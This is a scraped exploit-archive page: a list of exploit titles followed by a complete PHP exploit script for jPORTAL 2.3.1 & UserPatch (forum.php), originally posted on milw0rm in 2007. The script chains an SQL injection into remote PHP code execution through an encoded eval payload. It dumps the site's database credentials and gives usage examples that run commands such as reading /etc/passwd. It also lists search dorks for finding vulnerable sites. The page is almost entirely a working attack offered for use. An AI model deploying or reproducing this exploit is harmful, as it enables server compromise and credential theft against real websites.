477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
71 lines
2.4 KiB
PHP
Executable file
71 lines
2.4 KiB
PHP
Executable file
<?php
|
|
#
|
|
# jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit
|
|
#
|
|
# author: irk4z[at]yahoo.pl
|
|
# http://irk4z.wordpress.com
|
|
#
|
|
#
|
|
# dorks: "powered by jPORTAL 2 & UserPatch"
|
|
# "powered by jPORTAL 2"
|
|
#
|
|
# greetz: str0ke, wacky, polish under :*
|
|
#--------------------------------------------------------------------->
|
|
|
|
$host = $argv[1];
|
|
$path = $argv[2];
|
|
$phpcode = $argv[3];
|
|
|
|
$info =
|
|
"\n#\n".
|
|
"# jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit\n".
|
|
"#\n".
|
|
"# author: irk4z[at]yahoo.pl\n".
|
|
"# http://irk4z.wordpress.com\n".
|
|
"#\n".
|
|
"#\n".
|
|
"# greetz: str0ke, wacky, polish under :*\n".
|
|
"#--------------------------------------------------------------------->\n";
|
|
echo $info;
|
|
|
|
if($argc<4){
|
|
echo "# Obsluga: \n".
|
|
"# php host path phpcode \n".
|
|
"# php localhost /~jportal/ phpinfo(); \n".
|
|
"# php localhost /~jportal/ \"system('uname -a');\" \n".
|
|
"# php localhost /~jportal/ \"system('cat /etc/passwd');\"\n".
|
|
"#\n".
|
|
"# exploit c0ded by irk4z :D";
|
|
die;
|
|
}
|
|
|
|
$data="do=".base64_encode(base64_decode('Z2xvYmFsICRkYl9ob3N0LCAkZGJfdXNlciwgJGRiX3Bhc3MsICRkYl9uYW1lLCAkcHJlZml4OyANCmVjaG8gIlwkZGJfaG9zdCA9ICckZGJfaG9zdCc7XG4iLg0KIlwkZGJfdXNlciA9ICckZGJfdXNlcic7XG4iLg0KIlwkZGJfcGFzcyA9ICckZGJfcGFzcyc7XG4iLg0KIlwkZGJfbmFtZSA9ICckZGJfbmFtZSc7XG4iLg0KIlwkcHJlZml4ID0gJyRwcmVmaXgnO1xuXG5QSFAgQ09ERSBFWEVDVVRJT04gUkVTVUxUOlxuIjs').$phpcode);
|
|
|
|
$packet =
|
|
"POST {$path}forum.php?cmd=as_readed&category=18000/**/U%6EION/**/S%65LECT/**/1,2,0x223B6576616C286261736536345F6465636F646528245F504F53545B27646F275D29293B6469653B24746D703D22/* HTTP/1.0\r\n".
|
|
"Host: {$host}\r\n".
|
|
"Content-type: application/x-www-form-urlencoded\r\n".
|
|
"Content-length: ".strlen($data)."\r\n\r\n".$data;
|
|
|
|
$wynik = send($host, 80, $packet);
|
|
$tmp = strpos($wynik, '$db_host');
|
|
if (empty($tmp)){echo "\nWystapil blad :( Sprawdz poprawnosc danych wejsciowych..\n\n# exploit c0ded by irk4z :D"; }else{
|
|
echo "\n";
|
|
echo "KONFIGURACJA BAZY DANYCH:\n";
|
|
echo substr($wynik, $tmp, strlen($wynik)-$tmp);
|
|
echo "\n\n# exploit c0ded by irk4z :D";
|
|
}
|
|
|
|
|
|
function send($host, $port, $packet)
|
|
{
|
|
$s = @fsockopen($host, $port);
|
|
if (empty($s)) return;
|
|
fputs($s, $packet); $retu ='';
|
|
while(!feof($s)){$retu.=fgets($s);}
|
|
fclose($s);
|
|
return $retu;
|
|
}
|
|
?>
|
|
|
|
# milw0rm.com [2007-12-29]
|